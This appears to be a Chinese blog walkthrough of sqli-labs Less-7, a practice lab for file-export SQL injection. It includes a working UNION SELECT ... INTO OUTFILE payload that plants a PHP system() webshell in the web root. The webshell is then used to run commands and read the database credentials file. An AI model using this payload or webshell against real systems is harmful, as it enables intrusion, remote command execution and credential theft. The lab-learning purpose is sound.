sqli-labs靶场第七关——文件导出注入

一:目标

通过sql注入将php代码写入网站目录,通过这个php文件执行命令

二:确认前置条件

%secure_file_priv%

首先我们需要Mysql是否允许导出文件

先尝试在网页中sql注入,检查导出权限

sql 复制代码
?id=1')) union select 1,@@secure_file_priv,3-- -

检查失败

换方法,通过Mysql命令行直接执行:

win+r→powershell→mysql -u root -p→password

然后检查:

php 复制代码
show variables like '%secure_file_priv%';

窗口显示如下

这里value有三种可能的值:

  • Null:禁止所有导入导出操作(最严格)

  • 空字符串'':允许所有目录的导入导出(有安全风险)

  • 指定路径:只允许该目录下的文件操作

如果值是空or是路径,继续攻击

如果值为NULL,那么注入一定失败,需要我们修改配置 ,方法如下:

在你的Mysql文件夹里找到my.ini,从段落的中间部分找到 mysqld,在下面一行加上

sql 复制代码
secure_file_priv = ""

保存,服务里面重启动Mysql,然后 win+r→powershell→mysql -u root -p→password,再次检查

可以看到Value值变成空,说明我们修改成功了 ~

三:确定注入类型

首先输入 ?id=1',报错

尝试单引号+括号,?id=1'),报错

尝试?id=1'))--+,页面恢复正常!!

所以这一关要闭合 '))

四:写一个webshell文件

首先用order by确定有三行

payload:

sql 复制代码
http://localhost/sqli-labs/Less-7/?id=1')) union select 1,
'<?php system($_GET["cmd"]);?>',
3 
into outfile
'D:/nginx-1.27.5/html/shell.php'-- -

php代码:<?php system($_GET"cmd");?>

路径按照网站的真实路径来

**注意:路径使用双反斜杠\\

into outfile 文件导出:

sql 复制代码
select 内容 into outfile '文件路径';

使用条件:

1.Mysql有权限

2.知道目标路径的物理路径

3.secure_file_priv允许操作

列出网站目录:

sql 复制代码
http://localhost/shell.php?cmd=dir D:\nginx-1.27.5\html\  

这里面可以看出我们的绝对路径是否正确

这样显示更清楚一点

sql 复制代码
http://localhost/shell.php?cmd=dir

整理我们得到的数据!

sql 复制代码
D:\nginx-1.27.5\html\  # 当前目录路径
├── 50x.html           # Nginx错误页面
├── index.html         # 默认首页
├── index.php          # PHP入口文件
├── shell.php          # 刚写入的WebShell
└── sqli-labs/         # SQLi-Labs靶场目录

再来几个查询!

查看服务器用户名

sql 复制代码
http://localhost/shell.php?cmd=whoami

读取数据库配置文件(获取账号密码)

sql 复制代码
http://localhost/shell.php?cmd=type D:\nginx-1.27.5\sqli-labs\sql-connections\db-creds.inc

❀❀❀ 完结撒花!! ❀❀❀

相关推荐
梁辰兴1 小时前
软件工程:数据结构设计
数据库·软件工程·设计原则·设计方法·梁辰兴·数据库结构设计·数据库结构类型
AC赳赳老秦1 小时前
风控岗应用:OpenClaw 采集公开司法与经营异常数据,自动生成企业风险评估报告
大数据·c语言·数据库·人工智能·python·php·openclaw
灯澜忆梦2 小时前
【MySQL18】进阶篇 | MySQL管理
数据库·mysql
zcmodeltech2 小时前
智能制造教学实训沙盘模型多系统协同控制系统设计:基于STM32与Modbus RTU的工业机器人-智慧工厂-数字孪生全场景联动方案
数据库·stm32·嵌入式硬件·机器人·制造·多分类
AI多Agent协作实战派2 小时前
AI多Agent协作系统实战(四十):AI说“没有错误“,系统判了“测试失败“——一个正则的误判
数据库·人工智能
隔窗听雨眠3 小时前
OceanBase接入DeepSeek:数据库与AI的深度融合如何改写企业数据规则
数据库·人工智能·oceanbase
playboy1344 小时前
工作室 NAS 存储故障-办公室所有数据无法访问怎么办
数据库
qyyyyy5704 小时前
英文技术标准和协议规范怎么读?RFC、接口规范与安全标准 PDF 翻译流程
网络协议·网络安全·机器翻译·csrf·技术美术
byxdaz4 小时前
jeston平台交叉编译Poppler库与预览pdf文件
数据库
SilicoCode4 小时前
江科大STM32入门:FLASH闪存详解——从结构原理到读写保护
数据库·mongodb